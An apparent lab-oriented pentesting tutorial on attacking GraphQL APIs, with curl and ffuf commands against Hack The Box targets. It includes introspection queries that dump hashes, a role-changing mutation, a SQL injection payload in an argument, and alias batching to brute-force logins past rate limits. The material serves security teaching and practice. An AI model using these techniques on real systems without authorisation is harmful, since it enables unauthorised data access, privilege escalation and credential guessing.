GraphQL pentesting: introspection, queries and mutations step by step
How to test a GraphQL API: find the endpoint, dump the schema through introspection, read data you should not see, abuse mutations and dodge rate limits with aliases.
GraphQL is a way of building APIs where the client decides which data it wants: instead of many routes (/api/users, /api/orders), there is a single endpoint you send a query to. For an attacker that is a huge advantage: the API will often tell you its whole schema if you ask, with every type, field and operation, including the ones the website never uses.
The bare minimum
- Query: reads data.
{ user(id: 1) { username email } }. - Mutation: changes data.
mutation { updateUser(id: 1, role: "admin") { id } }. - Introspection: special queries (
__schema,__type) that return the schema. It should be disabled in production; on HTB, and on plenty of real sites, it is not. - Everything usually goes over POST with a
{"query": "..."}JSON body, and responses come back as{"data": ...}or{"errors": ...}. An error is not always a 4xx: GraphQL often answers200with the error inside.
Requirements
curlandjq.- Burp Suite with the InQL extension (from the BApp Store) to browse the schema as a tree and generate queries.
- Optional: GraphQL Voyager to draw the schema.
- To practise: Help (easy, Linux) and Cereal (hard, Windows).
Step 1: find the endpoint
The usual paths are /graphql, /api/graphql, /graphiql, /v1/graphql, /playground and /query. Look for them with ffuf:
ffuf -u http://10.10.10.121:3000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/graphql.txt -mc all -fc 404
graphql [Status: 400, Size: 18, Words: 3, Lines: 1]
A 400 with a message like GET query missing. or Must provide query string. is a good sign. Read the site's JavaScript too: if the frontend uses GraphQL, you will see the endpoint and whole queries.
Step 2: confirm it is GraphQL
The smallest possible query is __typename, which exists on every server:
curl -s http://10.10.10.121:3000/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__typename}"}'
{"data":{"__typename":"Query"}}
If it answers that, you have GraphQL. If the server does not take JSON, try GET: curl -s 'http://10.10.10.121:3000/graphql?query={__typename}'.
Step 3: dump the schema with introspection
Ask for the list of types with their fields and arguments:
curl -s http://10.10.10.121:3000/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{queryType{name} mutationType{name} types{name kind fields{name args{name} type{name kind ofType{name}}}}}}"}' \
| jq '.data.__schema.types[] | select(.name | startswith("__") | not) | {name, fields: [.fields[]?.name]}'
{
"name": "Query",
"fields": ["user"]
}
{
"name": "User",
"fields": ["username", "password"]
}
Ignore types starting with __ (they belong to GraphQL itself) and scalars (String, Int, Boolean). What matters:
- The fields of the Query type: what you can read.
- The fields of the Mutation type (if
mutationTypeis notnull): what you can change. - Fields with juicy names:
password,token,role,isAdmin,apiKey,secret.
Tip
For large schemas, load the endpoint into InQL (Scanner tab), or copy its full introspection query and paste the response into GraphQL Voyager. Seeing the schema as a graph saves a lot of time.
Step 4: read what you should not
With the schema in hand, ask for the interesting fields directly:
curl -s http://10.10.10.121:3000/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ user { username password } }"}'
{"data":{"user":{"username":"[email protected]","password":"<MD5 hash>"}}}
That is the way into Help: the MD5 hash cracks (godhelpmeplz) and those credentials log you into HelpDeskZ. Cracking is covered in the hashcat and John guide.
Play with the arguments too: if a query takes an id, change the number to see other users' data. It is an IDOR just like in a REST API.
Step 5: when introspection is disabled
It will answer something like GraphQL introspection is not allowed. Even so, many servers suggest names when you get one wrong:
curl -s http://10.10.10.10/graphql -H 'Content-Type: application/json' -d '{"query":"{ usr }"}'
{"errors":[{"message":"Cannot query field \"usr\" on type \"Query\". Did you mean \"user\" or \"users\"?"}]}
The clairvoyance tool rebuilds the whole schema from those suggestions:
pipx install clairvoyance
clairvoyance http://10.10.10.10/graphql -o schema.json
Step 6: mutations
Mutations are where the serious bugs live: changing a user's role, resetting passwords or making the server fetch a URL.
curl -s http://10.10.10.10/graphql -H 'Content-Type: application/json' \
-d '{"query":"mutation { updateProfile(id: 2, role: \"admin\") { id role } }"}'
On Cereal a mutation takes a URL that the server then visits: an SSRF that leads to code execution. Read every mutation in the schema and ask yourself what happens if you give it a value it should not accept.
Step 7: injections in the arguments
Arguments often end up in a SQL or NoSQL query. Try the same payloads you would on any form:
curl -s http://10.10.10.10/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ user(name: \"admin'"'"' OR 1=1-- -\") { username } }"}'
If you get a database error or more results, carry on with the SQL injection guide. sqlmap works if you mark the injection point with * inside a request saved from Burp.
Step 8: aliases to dodge rate limits
GraphQL allows several operations in a single request using aliases. A "5 attempts per request" limit is useless:
mutation {
a1: login(username: "admin", password: "123456") { token }
a2: login(username: "admin", password: "password") { token }
a3: login(username: "admin", password: "qwerty") { token }
}
Generate hundreds of aliases with a small script and send them in one go.
Common mistakes
Must provide query string: theContent-Type: application/jsonheader is missing or the body is not valid JSON.- JSON quoting drives you mad: write the query to a file and send it with
curl -d @query.json, or use Burp. Cannot query field "x" on type "Y": that field does not exist on that type. Go back to the schema; it may live on a nested type.- Everything returns
nullwith no errors: you need authentication. Look for atokenin the cookies orlocalStorageand send it asAuthorization: Bearer .... - GET works and POST does not (or vice versa): some servers only accept one. If it takes GET with cookies, also try a CSRF.
What next
APIs are in the mapping section of the web checklist, and the rest of the usual API bugs (IDOR, mass assignment) are in IDOR and mass assignment in APIs.